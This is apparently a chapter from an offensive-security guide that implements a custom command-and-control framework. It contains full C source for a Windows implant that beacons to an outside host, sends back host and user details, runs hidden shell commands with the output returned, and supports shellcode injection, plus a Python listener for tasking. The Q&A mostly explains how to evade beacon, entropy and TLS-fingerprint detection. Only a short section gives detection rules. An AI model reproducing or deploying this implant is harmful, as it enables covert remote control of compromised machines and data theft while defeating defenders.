Custom C2 Protocol Implementation
Commercial frameworks like Cobalt Strike and Havoc are well-understood by detection teams — their protocols, staging patterns, and memory artifacts are documented in threat feeds. Building a custom C2 protocol forces defenders to start from first principles on your specific traffic. This chapter implements a minimal but complete custom HTTP C2: a C implant with WinHTTP checkin, AES-256-GCM encrypted framing, a Python listener, and a command dispatch loop — enough to understand the complete architecture and extend it for real operations.
Every public Cobalt Strike profile in the GitHub kit is already in the SOC's detection pipeline. You need a protocol with zero public signatures: custom URI format, a framing layer that looks like compressed telemetry, AES-256-GCM authenticated encryption, and a teamserver listener under 200 lines of Python that can run on any VPS with Python 3. The implant should compile to under 50KB and link only to winhttp.dll and bcrypt.dll from the system.
Protocol Design Principles
Packet Frame — C Struct Definitions
#pragma once
#include <stdint.h>
#define MAGIC 0xDEAD0001UL
#define CMD_PING 0x0001 // no-op checkin
#define CMD_EXEC 0x0002 // run command, return output
#define CMD_UPLOAD 0x0003 // server → implant file transfer
#define CMD_DOWNLOAD 0x0004 // implant → server file transfer
#define CMD_SHELLCODE 0x0005 // inject shellcode blob via section inject
#define CMD_EXIT 0x00FF // terminate implant
#pragma pack(push, 1)
typedef struct {
uint32_t magic; // MAGIC constant
uint32_t frame_len; // bytes following this header
uint8_t iv[12]; // GCM nonce
uint16_t cmd; // command type
uint32_t payload_len; // length of ciphertext
uint8_t data[]; // ciphertext + 16-byte GCM tag appended
} C2Frame;
#pragma pack(pop)
// Implant identity — sent on first checkin
typedef struct {
char hostname[64];
char username[64];
uint32_t pid;
uint8_t arch; // 0=x86 1=x64
uint8_t integrity; // 0=low 1=medium 2=high 3=system
char os_version[32];
uint8_t implant_id[16]; // random UUID generated at first run
} ImplantHello;
Implant: WinHTTP Checkin Loop
#include <windows.h>
#include <winhttp.h>
#include <bcrypt.h>
#include "c2frame.h"
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "bcrypt.lib")
#define C2_HOST L"redir.yourdomain.com"
#define C2_PORT 443
#define SLEEP_MS 45000
#define JITTER 30 // ±30%
// Pre-shared 32-byte AES key (replace with ECDH in production)
static const BYTE g_aesKey[32] = {
0x4a,0x8d,0xe3,0xf1,0x22,0x9b,0xc0,0x71,
0xaa,0x3e,0x58,0x0c,0xd4,0x7f,0x60,0x88,
0x19,0xe2,0x34,0xa7,0x5b,0xcc,0x0f,0xd9,
0x82,0x44,0xf6,0x1a,0x90,0xe7,0x5d,0x2b
};
// AES-256-GCM encrypt using BCrypt
BOOL AesGcmEncrypt(const BYTE* plain, DWORD plainLen,
BYTE* iv12, BYTE* outBuf,
DWORD* outLen, BYTE* tag16) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_GCM,
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
(PUCHAR)g_aesKey, 32, 0);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = iv12;
authInfo.cbNonce = 12;
authInfo.pbTag = tag16;
authInfo.cbTag = 16;
ULONG bytesEncrypted = 0;
NTSTATUS st = BCryptEncrypt(hKey, (PUCHAR)plain, plainLen,
&authInfo, NULL, 0,
outBuf, plainLen, &bytesEncrypted, 0);
*outLen = bytesEncrypted;
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return NT_SUCCESS(st);
}
BOOL HttpPost(HINTERNET hSession, const WCHAR* uri,
const BYTE* body, DWORD bodyLen,
BYTE** pResponse, DWORD* pRespLen) {
HINTERNET hConn = WinHttpConnect(hSession, C2_HOST, C2_PORT, 0);
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", uri, NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// Accept any cert for testing; use proper cert pinning in production
DWORD opt = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &opt, sizeof(opt));
WinHttpAddRequestHeaders(hReq,
L"Content-Type: application/octet-stream\r\n"
L"Accept: */*\r\n"
L"Cache-Control: no-store\r\n",
-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hReq, NULL, 0, (LPVOID)body, bodyLen, bodyLen, 0);
WinHttpReceiveResponse(hReq, NULL);
DWORD available = 0;
WinHttpQueryDataAvailable(hReq, &available);
BYTE* resp = (BYTE*)HeapAlloc(GetProcessHeap(), 0, available + 1);
DWORD read = 0;
WinHttpReadData(hReq, resp, available, &read);
*pResponse = resp; *pRespLen = read;
WinHttpCloseHandle(hReq); WinHttpCloseHandle(hConn);
return TRUE;
}
DWORD WINAPI C2Loop(LPVOID unused) {
HINTERNET hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
while (TRUE) {
// Build checkin frame (CMD_PING with ImplantHello payload)
ImplantHello hello = {0};
GetComputerNameA(hello.hostname, (LPDWORD)&(DWORD){64});
GetUserNameA(hello.username, (LPDWORD)&(DWORD){64});
hello.pid = GetCurrentProcessId();
hello.arch = (sizeof(void*) == 8) ? 1 : 0;
BYTE iv[12], cipherBuf[sizeof(hello)], tag[16];
BCryptGenRandom(NULL, iv, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
DWORD cLen;
AesGcmEncrypt((BYTE*)&hello, sizeof(hello), iv, cipherBuf, &cLen, tag);
// Pack C2Frame
DWORD frameSize = sizeof(C2Frame) + cLen + 16;
C2Frame* frame = (C2Frame*)HeapAlloc(GetProcessHeap(), 0, frameSize);
frame->magic = MAGIC;
frame->frame_len = frameSize - 8;
memcpy(frame->iv, iv, 12);
frame->cmd = CMD_PING;
frame->payload_len = cLen;
memcpy(frame->data, cipherBuf, cLen);
memcpy(frame->data + cLen, tag, 16);
BYTE* resp; DWORD respLen;
HttpPost(hSession, L"/t/v1/event/main",
(BYTE*)frame, frameSize, &resp, &respLen);
HeapFree(GetProcessHeap(), 0, frame);
// Process response frame (decrypt, dispatch command) — see DispatchCommand()
if (respLen > sizeof(C2Frame)) {
DispatchCommand(hSession, resp, respLen);
}
HeapFree(GetProcessHeap(), 0, resp);
// Jittered sleep
DWORD jitter = (DWORD)(((double)rand() / RAND_MAX) * SLEEP_MS * JITTER / 100);
DWORD sign = (rand() % 2) ? 1 : -1;
Sleep(SLEEP_MS + sign * jitter);
}
return 0;
}
Listener: Python Teamserver Stub
#!/usr/bin/env python3
# Minimal custom C2 listener — handles frame parsing and command dispatch
import struct, os, json, threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
MAGIC = 0xDEAD0001
AES_KEY = bytes.fromhex('4a8de3f1229bc071aa3e580cd47f608819e234a75bcc0fd98244f61a90e75d2b')
FRAME_HDR = '<IIxx12sHI' # magic, frame_len, pad, iv[12], cmd, payload_len
CMD_NAMES = {0x0001:'PING', 0x0002:'EXEC', 0x0003:'UPLOAD',
0x0004:'DOWNLOAD', 0x0005:'SHELLCODE', 0x00FF:'EXIT'}
# Pending tasks keyed by implant_id
task_queue = {}
lock = threading.Lock()
def decrypt_frame(data: bytes):
hdr_size = struct.calcsize(FRAME_HDR)
magic, flen, iv, cmd, plen = struct.unpack_from(FRAME_HDR, data)
if magic != MAGIC:
raise ValueError(f'bad magic {magic:#x}')
ciphertext = data[hdr_size : hdr_size + plen]
tag = data[hdr_size + plen : hdr_size + plen + 16]
aes = AESGCM(AES_KEY)
plain = aes.decrypt(iv, ciphertext + tag, None)
return cmd, plain
def build_frame(cmd: int, plaintext: bytes) -> bytes:
iv = os.urandom(12)
aes = AESGCM(AES_KEY)
ct_and_tag = aes.encrypt(iv, plaintext, None)
ciphertext = ct_and_tag[:-16]
tag = ct_and_tag[-16:]
hdr = struct.pack(FRAME_HDR,
MAGIC, 12+2+4+len(ciphertext)+16,
iv, cmd, len(ciphertext))
return hdr + ciphertext + tag
class C2Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args): pass # silence default logging
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
try:
cmd, plain = decrypt_frame(body)
print(f'[+] {self.client_address[0]} cmd={CMD_NAMES.get(cmd, cmd):#06x}')
if cmd == 0x0001: # PING — parse ImplantHello
hostname = plain[:64].rstrip(b'\x00').decode()
username = plain[64:128].rstrip(b'\x00').decode()
pid = struct.unpack_from('<I', plain, 128)[0]
implant_id = plain[134:150].hex()
print(f' [{implant_id[:8]}] {username}@{hostname} pid={pid}')
# Check if there's a pending task for this implant
with lock:
task = task_queue.pop(implant_id, None)
if task:
response = build_frame(task['cmd'],
task['payload'].encode())
else:
response = build_frame(0x0001, b'') # empty PING response
elif cmd == 0x0002: # EXEC result returned
output = plain.decode('utf-8', errors='replace')
print(f'[OUTPUT]\n{output}')
response = build_frame(0x0001, b'')
else:
response = build_frame(0x0001, b'')
except Exception as e:
print(f'[!] frame error: {e}')
self.send_response(400)
self.end_headers()
return
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.send_header('Content-Length', len(response))
self.end_headers()
self.wfile.write(response)
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8443), C2Handler)
print('[*] C2 listener on :8443')
server.serve_forever()
Command Dispatch (Implant Side)
void DispatchCommand(HINTERNET hSession, BYTE* frameData, DWORD frameLen) {
C2Frame* frame = (C2Frame*)frameData;
if (frame->magic != MAGIC) return;
BYTE plain[65536] = {0};
DWORD plainLen;
BYTE* tag = frame->data + frame->payload_len;
// Decrypt using AesGcmDecrypt (mirror of encrypt — omitted for brevity)
AesGcmDecrypt(frame->data, frame->payload_len, frame->iv, plain, &plainLen, tag);
switch (frame->cmd) {
case CMD_PING: break; // no-op
case CMD_EXEC: {
// Execute command via cmd.exe and capture stdout
plain[plainLen] = '\0';
char cmdline[1024];
sprintf_s(cmdline, sizeof(cmdline), "cmd.exe /c %s", (char*)plain);
HANDLE hRead, hWrite;
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
CreatePipe(&hRead, &hWrite, &sa, 0);
STARTUPINFOA si = {0}; si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = si.hStdError = hWrite;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(hWrite);
WaitForSingleObject(pi.hProcess, 30000);
char output[65536]; DWORD read;
ReadFile(hRead, output, sizeof(output)-1, &read, NULL);
output[read] = '\0';
CloseHandle(hRead);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
// Send result back
BYTE* resp; DWORD respLen;
BYTE resultFrame[70000]; DWORD rfLen;
// BuildFrame(CMD_EXEC, output, read, resultFrame, &rfLen);
HttpPost(hSession, L"/t/v1/result",
resultFrame, rfLen, &resp, &respLen);
HeapFree(GetProcessHeap(), 0, resp);
break;
}
case CMD_EXIT:
ExitProcess(0);
}
}
Detection Engineering
title: Unknown Binary Posting to Cloud Infra (Custom C2 Candidate)
logsource:
product: windows
category: network_connection
detection:
selection:
DestinationPort: 443
Initiated: 'true'
filter_known_browsers:
Image|contains:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
- '\svchost.exe'
- '\MsMpEng.exe'
condition: selection AND NOT filter_known_browsers
level: low
note: Requires baselining — many legitimate apps make direct TLS connections
-- MDE KQL: detect process making periodic HTTPS with identical content length
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort == 443
| summarize
count = count(),
distinct_urls = dcount(RemoteUrl),
avg_interval = (max(Timestamp) - min(Timestamp)) / count(Timestamp)
by DeviceName, InitiatingProcessFileName, RemoteUrl
| where count > 10
| where distinct_urls == 1 // always exactly the same URL
| where InitiatingProcessFileName !in~ (
"svchost.exe","chrome.exe","msedge.exe","MsMpEng.exe")
| project DeviceName, InitiatingProcessFileName, RemoteUrl, count, avg_interval
Q&A
What are the protocol-level signatures that make a custom C2 detectable even if the payload is encrypted?
Encrypting the payload is necessary but not sufficient. A custom C2 with AES-GCM encrypted frames still exposes several detectable characteristics at the network and behavioral level.
Traffic regularity: Beacons check in on a schedule — even with jitter, statistical analysis of inter-packet timing over hours will reveal the underlying sleep interval with high confidence. Tools like Rita (from Active Countermeasures) specifically implement beacon detection via time-series analysis of connection logs. A real user's HTTPS traffic is bursty — driven by browser activity — not periodic. The fix is to implement a genuinely irregular sleep pattern (exponential backoff, randomized long sleeps) and to make checkins conditional on system activity (only check in when the user has been active in the last 30 minutes).
Payload entropy: Encrypted data is statistically indistinguishable from random. A POST body with byte-value entropy near 8.0 (maximum for a uniform distribution) on every request, with no decompression headers, is suspicious — legitimate HTTPS from browsers sends varied-entropy data (HTML, compressed images, JSON). Defenders fingerprint this by computing entropy over the POST body bytes. Counters include: padding to a fixed block size, and appending a DEFLATE-compressed block of real-looking content to each frame so overall entropy is lower.
TLS fingerprinting (JA3): The TLS ClientHello is not encrypted. The combination of TLS version, cipher suite list, extension list, and elliptic curves supported produces a deterministic fingerprint (JA3 hash). WinHTTP produces a specific JA3 hash that is distinct from Chrome, Firefox, and Edge. If your implant's JA3 hash has never been seen in the environment before, and it's making periodic connections to a new domain, the combination is a high-confidence alert. Countermeasure: use a browser-like TLS stack (Chromium boringssl) by linking against a real browser's network library, or modify the WinHTTP cipher suite order via WinHttpSetOption(WINHTTP_OPTION_SECURE_PROTOCOLS) to match Edge.